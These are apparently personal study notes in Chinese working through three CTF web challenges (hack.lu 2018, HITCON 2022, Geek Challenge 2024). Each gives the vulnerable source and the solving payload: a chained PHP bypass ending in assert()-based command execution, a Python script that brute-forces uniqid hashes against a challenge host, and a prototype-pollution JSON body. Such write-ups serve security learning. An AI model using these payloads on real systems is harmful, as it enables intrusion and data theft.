2018-hack.lu-Web-baby
这到底从上到下顺序多个绕过点
- 第一个绕过点
if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
简单写文件,直接?msg=data://text/plain,Hello%20Challenge!就可以了
- 第二个绕过点
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
intval()将字符串转换成整数,转换规则是从字符串开头开始转换,直到遇到第一个非数字字符为止
弱比较漏洞就不多说了,key1=1337a
- 第三个绕过点
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
$k2长度必须是42,并且正则匹配为纯数字但is_numeric不能匹配为数字,而且弱比较等于1337...
好吧这其实是个坑,这里正则结尾的$是全角符号,所以这个正则表达式匹配的字符串必须以全角$结尾。用$的十六进制url编码是%EF%BC%84,占三字节,故key2=000000000000000000000000000000000001337%ef%bc%84
php的strlen按照的是字节数计算,一个字母或数字,换行符占一字节,而全角符号/汉字占3个字节
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
$b=1;//;"b"=a$;"2" = b
if($$a !== $k1){
die("lel no\n");
}
先把k1,k2交换了位置,如果substr(bb) === sha1(cc)成立,遍历\_GET字典,把每个键值对都变成一个变量,键是变量名,值是变量值
list() 是 PHP 的一个内置结构,它的作用是把数组里的值,按顺序分别塞进括号里的变量中
foreach遍历字典,as前面是字典,后面是键和值
$_GET是一个全局变量字典,包含了所有通过HTTP GET方法传递的参数。只要填写了参数都会放入字典
$$叫可变变量,$$a就是把a的值当成变量名来访问。这里$lel是键名,而$$lel就是以这个键名重新命名一个变量,值为$hack。覆盖变量的意思
sha1和md5一个样子,传入数组使其null===null就行
最难的是下面这一行$b=1;//;"b"=a$;"2" = b
这里加了个隐式字符RLO (Right-to-Left Override, U+202E),它会把后面的字符串反过来显示,所以实际上这一行的代码是
$b=1;//;"b"=a$;"2" = b
所以对于$$a !== $k1只要让$k1=2就行。foreach变量覆盖时会根据GET生成变量,于是GET参数必须写上k1=2
- 最后RCE
assert("$bb == $cc");
assert()函数会把传入的字符串当成PHP代码执行
传参bb=system('cat flag.php');//就行了
最终组合
/?msg=data://text/plain,Hello%20Challenge!&key1=1337a&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=system('cat flag.php');//
回头来看交换变量其实只是个眼障
2022-HitCon-Web-yeeclass
依旧白盒审计
submission.php里前端可以看到超链接
<?php foreach ($result as $row) { ?>
<tr>
<?php if ((isset($_SESSION["userid"]) && $_SESSION["userclass"] >= PERM_TA) || $row["userid"] == $_SESSION["userid"]) { ?>
<td><a href="submission.php?hash=<?= $row['hash'] ?>"><?= $row["name"] ?></a></td>
<?php } else { ?>
<td><?= $row["name"] ?></td>
<?php } ?>
<td><?= $row["score"] ?? "-" ?></td>
<td><?= $row["username"] ?></td>
<td><?= $row["time"] ?></td>
</tr>
<?php } ?>
- <?= ?>是PHP的短标签,等价于<?php echo ?>,用来输出变量值
- foreach()是PHP的一个控制结构,用来遍历数组或对象。语法是foreach ($array as $value) ,其中$array是要遍历的数组,$value是每次迭代时当前元素的值
- ?? 是PHP的空合并运算符,用来判断一个变量是否存在且不为null,如果存在且不为null就返回这个变量的值,否则返回??后面的值
if (isset($_GET["hash"]) && $_GET["hash"] != "") {
// view single submission
$mode = "view";
$submission_query = $pdo->prepare("SELECT s.*, u.username, h.name from submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.`hash`=?");
$submission_query->execute(array($_GET["hash"]));
$result = $submission_query->fetch(PDO::FETCH_ASSOC);
- 首先是扩展函数PDO的用法(防sqli):
prepare()方法用来预处理SQL语句,返回一个PDOStatement对象,语句中的占位符用?表示
execute()方法用来执行预处理语句,参数是一个数组,表示SQL语句中的占位符的值
fetch()方法用来获取查询结果,有几种常用的获取形式:PDO::FETCH_ASSOC表示以关联数组的形式返回结果
PDO::FETCH_NUM表示以索引数组的形式返回结果
PDO::FETCH_BOTH表示同时以关联数组和索引数组的形式混合返回(默认)
PDO::FETCH_OBJ表示以匿名对象的形式返回结果
- LEFT JOIN是SQL中的一种连接方式,用来从两个表中获取数据。LEFT JOIN会返回左表(submission)中的所有记录,以及右表(user和homework)中匹配的记录合并在一起,如果右表没有匹配的记录,则返回NULL
这里的关联条件是提交记录里的 userid 等于用户表的 id,提交记录里的 homeworkid 等于作业表的 id。通俗一点来说就是fetch出全部提交记录,然后罗列成一列一列超链接的方式显示在前端
这些只是在积累审计经验,真正的漏洞在提交部分submit.php里
if ($_SERVER["REQUEST_METHOD"] == "POST" || isset($_GET["delete"])) {
$homeworkid = (isset($_GET["delete"])) ? $_GET["homeworkid"] : $_POST["homeworkid"];
$homework_query = $pdo->prepare("SELECT id, `open` FROM homework WHERE id=?");
$homework_query->execute(array($homeworkid));
$result = $homework_query->fetch();
if (!$result) {
if (isset($_GET["delete"])) {
// deletion
http_response_code(404);
die("No submission to delete");
} else {
// 注意下面这部分
$id = uniqid($_SESSION["username"]."_");
$submit_query = $pdo->prepare("INSERT INTO submission (`hash`, userid, homeworkid, content) VALUES (?, ?, ?, ?)");
$submit_query->execute(array(
hash("sha1", $id),
$_SESSION["userid"],
$_POST["homeworkid"],
$_POST["content"]
));
$hash_query = $pdo->prepare("SELECT `hash` FROM submission WHERE userid=? AND homeworkid=?");
$hash_query->execute(array($_SESSION["userid"], $_POST["homeworkid"]));
$result = $hash_query->fetch();
http_response_code(302);
header("Location: submission.php?hash={$result['hash']}");
exit;
}
}
这是一个作业提交流程。POST提交作业时,当数据库没有对应的作业id,就插入数据库并生成一个id和hash值,然后根据数据库的hash值重定向到作业详情页,submission.php?hash={$result['hash']}
uniqid($val)是PHP的内置函数,用来生成一个基于当前微秒时间的唯一字符串加在$val后面。但它只是把当前的“秒+微秒”转换成了13位的十六进制字符串,所以有爆破的可能性
回到原题就是一个flag的作业详情页无法查看,但知道提交人和记录时间。解法就出来了。直接写脚本爆破uniqid
import requests
import hashlib
from datetime import datetime, timezone
username = "flagholder"
timestamp = '2026-03-26 20:30:48.540403'
dt = datetime.fromisoformat(timestamp)#.replace(tzinfo=timezone.utc)
sec = int(dt.timestamp())
usec = dt.microsecond
print(sec, usec)
url = 'http://challenge-def7fc8b931a17ec.sandbox.ctfhub.com:10800/submission.php?hash='
def get_hash(sec, usec):
user_id = f"{username}_{sec:08x}{usec:05x}"
return hashlib.sha1(user_id.encode()).hexdigest()
for i in range(0, 1000):
hash = get_hash(sec, usec - i)
r = requests.get(url + hash)
print(i, hash)
if r.text != "Submission not found.":
print("Found hash:", hash)
print(r.text)
break
极客大挑战2024-ez_js
登陆系统,按照提示找到用户名,再爆破出密码,得到部分源码
// ====== utils/common.js ======
function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
module.exports = { merge };
// ====== main.js (路由处理逻辑) ======
const { merge } = require('./utils/common.js');
const path = require('path');
function handleLogin(req, res) {
// 1. 初始化 geeker 对象,此时它只有 geekerData 属性,没有 hasFlag 属性
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};
// 2. 将前端传来的 JSON (req.body) 合并到 geeker 对象中
merge(geeker, req.body);
// 3. 校验账号密码
if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
if(geeker.hasFlag){
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
} else {
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, /* ... */);
}
} else {
// 账密错误
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, /* ... */);
}
}
path.join()用于将字符串连接成一个路径,__dirname是当前文件所在目录的绝对路径,比如/var/www/html/app/static/direct.html
.sendFile(path,err)方法用于将文件发送给客户端,path参数是文件的绝对路径
(err) => {...}是一个回调函数,当错误发生就会填充err并执行err函数里的内容
回调函数:当异步操作完成时被调用的函数,通常用于处理异步操作的结果或错误
这个原型链污染考的挺简单的
{
"username": "Starven",
"password": "123456",
"__proto__": {
"hasFlag": true //不加引号
}
}
显示让我去/flag看看,进去发现是输入框,好家伙还有第二关
但又看了一下很多人吐槽第二关预期解是一坨,true都能给拼错,没什么参考价值
